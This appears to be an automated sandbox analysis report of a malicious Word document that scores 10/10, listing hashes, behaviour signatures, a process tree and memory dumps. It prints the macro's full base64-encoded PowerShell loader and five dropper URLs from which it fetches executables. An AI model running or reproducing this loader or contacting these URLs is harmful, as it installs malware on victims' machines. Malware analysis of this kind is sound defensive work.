Analysis

  • max time kernel
    121s
  • max time network
    57s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    20-05-2022 15:27

General

  • Target

    47f3f87bc57341c15aaf9fc6736ed513185e8347dcd6bed30b3248a5bbec92ee.doc

  • Size

    197KB

  • MD5

    a860a6111edd723a6d8019aabff264be

  • SHA1

    0d4d323a7e118dcbcc6d2ccebb1da7de2a411672

  • SHA256

    47f3f87bc57341c15aaf9fc6736ed513185e8347dcd6bed30b3248a5bbec92ee

  • SHA512

    951c2149cde55216631becef177b03aaee4f6fcf4f242a8428936f6460b49db6a3e47e0d2f40137594bd876b1d028d856c786b3ae72128fa0a4a409eb33784c8

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://haicunoi.ro/cgi-bin/2TX/

exe.dropper

https://crosscountrysupply.com/wp-includes/OpF/

exe.dropper

https://akuntansi.widyakartika.ac.id/wp-content/uploads/tEEe/

exe.dropper

https://giangocngan.com/css/vK/

exe.dropper

http://ebe.dk/_borders/cZJi/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\47f3f87bc57341c15aaf9fc6736ed513185e8347dcd6bed30b3248a5bbec92ee.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1364
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e IABpAE4AVgBPAGsARQAtAEUAWABQAHIAZQBTAHMAaQBvAE4AIAAoACAAbgBFAFcALQBvAGIAagBFAEMAdAAgAEkATwAuAEMAbwBtAHAAcgBFAFMAUwBJAE8ATgAuAGQARQBmAEwAYQB0AEUAUwB0AHIAZQBBAG0AKAAgAFsAUwBZAFMAdABlAE0ALgBJAE8ALgBNAGUATQBPAFIAeQBzAFQAUgBFAEEAbQBdAFsAQwBPAG4AVgBlAHIAVABdADoAOgBmAFIAbwBNAGIAQQBzAGUANgA0AHMAVAByAGkATgBHACgAKAAnAFgAWgBKAFIAYgA5AE0AdwBGAEkAWAAvACcAKwAnAFMAJwArACcAaAA0AGkAJwArACcAdQBWAFcAcABEAGQAUABnAFkAVgBHAGsAMwBkAFoAYgB0AEUAMABhAEIASQBhAEkASwAnACsAJwBxAFQASQBjAFcANQBUADQAOQBTAE8AWQAnACsAJwBxAGQAcABxAGYAcgBmADgAWQBCAHUAQwBEAC8AZQArADkAMQA3AGoAJwArACcAbwA4AGQAUAB3AEUAJwArACcAQQBCADkAaQBuADUAQwBGAGYARgBXAFYASgBrAHIAagBOAHkAbQBJAHMAJwArACcAZQBXAHAAdwBuACcAKwAnAE4AdgBxAEIAJwArACcAMAAnACsAJwBvAGYAUABhAEsAbgAzADcAQgBhAHQAZwAnACsAJwBxAE4AVAAyAEsALwBnAE0AVgArAGwAJwArACcAWgBLAE4AJwArACcAOQA1ACcAKwAnADIANwBZAG0AJwArACcAdwBqAGwAQgB5AE0AVgAnACsAJwBiAFMAJwArACcAMwAnACsAJwBUACcAKwAnAEQAWgBxAFgAaQAnACsAJwBuAEQATABwADQAJwArACcASwAnACsAJwBkACcAKwAnAG4AMABHACcAKwAnAFoARwArAGQAawAnACsAJwAzAFkAdwB2AGoAJwArACcAKwAnACsAJwA0AG8AZQAnACsAJwB2AGEAQQAnACsAJwA1AFYAMgAnACsAJwB5ADgAWgB1AHIAbwAnACsAJwB4ACcAKwAnAHMAaAB4AG8AZAArADkAJwArACcAagBkAHYAdgBKAEMAJwArACcAQgAxAFEAWQBwACcAKwAnACsAaQBvADYAbwAnACsAJwBQAFEAbwB2AGQASwBDAHkAJwArACcAbwAnACsAJwBrACcAKwAnAFYAZgBYAHoAbABMAFQARwBCACcAKwAnAHkAZABzADYAJwArACcARgBvACcAKwAnAHIAJwArACcAYQBzAGYAJwArACcAOAAnACsAJwB6AFEAMgArAFQAagBkACcAKwAnAEsAbQBNAFoASwAwACcAKwAnAHcAJwArACcAagB6AFcAMABZADYAJwArACcAeAAzAFkAJwArACcAUABmACcAKwAnAC8AcQBoAGoAUgBYAFMAVwByAE8AeQBzAG4AMgBOAHYAVwBOACcAKwAnAHkAZABhADgAWQBvAFYAJwArACcAKwAnACsAJwA2ACcAKwAnAFYAJwArACcAdgBrAEoAdQBTAGIAJwArACcAVABKAE0ANQBCADgAcgAnACsAJwBKACcAKwAnAE0AeQBWAGoAcwAnACsAJwBjADQAQwBRAFMAWgBaAEwAeQBBAEMAaQBOAEMASQBmACcAKwAnADMAbAAnACsAJwArAEUAJwArACcAUQBvAGgATgAnACsAJwBjAHIAQQAnACsAJwBwACsAYgB3ACcAKwAnAEUAdgBnACcAKwAnAEsAcgAnACsAJwBRACsAJwArACcAMwBuAEEAdgBaAEwAJwArACcAVwArACcAKwAnAGcAMABSAHIATwA3AEcAJwArACcAaAB6ADIAWABXACcAKwAnAC8AWABxAHMAVQAnACsAJwBaACsAVQA1AG0ANQB4ADAAegBRACcAKwAnAG4ARwAnACsAJwBQAEoARgAnACsAJwBuAGIASABvAFgAYwAnACsAJwBUAE8ASgA3AEsAQwBFAEkAUgBzAHAARQBmADUATwBkAEgAawAnACsAJwBOAE8AeAAvACcAKwAnAE4ARABVAEcANQBIADgAMwB6AFAAMgA3AEQAcQAnACsAJwBCACcAKwAnAFgAJwArACcAOABUAHYAZQBnAEYAdwAvAG8AZAA1AEYAOQAnACsAJwBCAHAAawBTAHYARgByAGIASQB5ACsAJwArACcARAA1AGIAJwArACcAaAAxAE4ASgBoAG4ANgArACcAKwAnAFoAMwBIADcAJwArACcAVAAnACsAJwA4AHcAYgBkAEUAMABmAGgAUABOAEcANAAnACsAJwB3AHUAMwA0AFkAegBqAFkANQAzAFoAbQBjACcAKwAnADEALwAnACsAJwBrAGMAJwArACcAbQA4AGUAJwArACcATwBDACcAKwAnADgAJwArACcAdwB4AFMAbwByAEwATQBaAHMAQgBKAFUAZwBYAEwATwBqAG0AJwArACcAZABwAFAAQgB5AGMAJwArACcAegAnACsAJwB5AGQANAB1ADEAUwBjAHgANgBJAFQAMwBuACcAKwAnADQAUgBIAEEAWgBaAEgAOAAnACsAJwBCACcAKQApACwAWwBJAE8ALgBDAG8ATQBQAHIARQBTAFMASQBvAG4ALgBDAG8AbQBQAFIARQBTAHMAaQBPAE4ATQBPAGQARQBdADoAOgBkAEUAQwBvAE0AUAByAEUAUwBzACkAIAB8ACUAIAB7ACAAbgBFAFcALQBvAGIAagBFAEMAdAAgACAASQBPAC4AcwB0AFIARQBBAG0AcgBlAGEAZABlAFIAKAAgACQAXwAgACwAIABbAFQAZQB4AHQALgBlAG4AQwBPAGQASQBuAEcAXQA6ADoAYQBTAGMASQBJACkAfQB8ACUAIAB7ACAAJABfAC4AUgBlAEEARABUAE8ARQBuAEQAKAApAH0AIAApACAA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1548

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/1364-54-0x0000000072FA1000-0x0000000072FA4000-memory.dmp

      Filesize

      12KB

    • memory/1364-55-0x0000000070A21000-0x0000000070A23000-memory.dmp

      Filesize

      8KB

    • memory/1364-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1364-57-0x00000000765F1000-0x00000000765F3000-memory.dmp

      Filesize

      8KB

    • memory/1364-60-0x0000000071A0D000-0x0000000071A18000-memory.dmp

      Filesize

      44KB

    • memory/1364-102-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1548-99-0x0000000001F70000-0x0000000001FF0000-memory.dmp

      Filesize

      512KB

    • memory/1548-98-0x000007FEF3D50000-0x000007FEF48AD000-memory.dmp

      Filesize

      11.4MB

    • memory/1548-100-0x000000001B740000-0x000000001BA3F000-memory.dmp

      Filesize

      3.0MB

    • memory/1548-101-0x0000000001F70000-0x0000000001FF0000-memory.dmp

      Filesize

      512KB

    • memory/2008-58-0x0000000000000000-mapping.dmp

    • memory/2008-59-0x000007FEFC4B1000-0x000007FEFC4B3000-memory.dmp

      Filesize

      8KB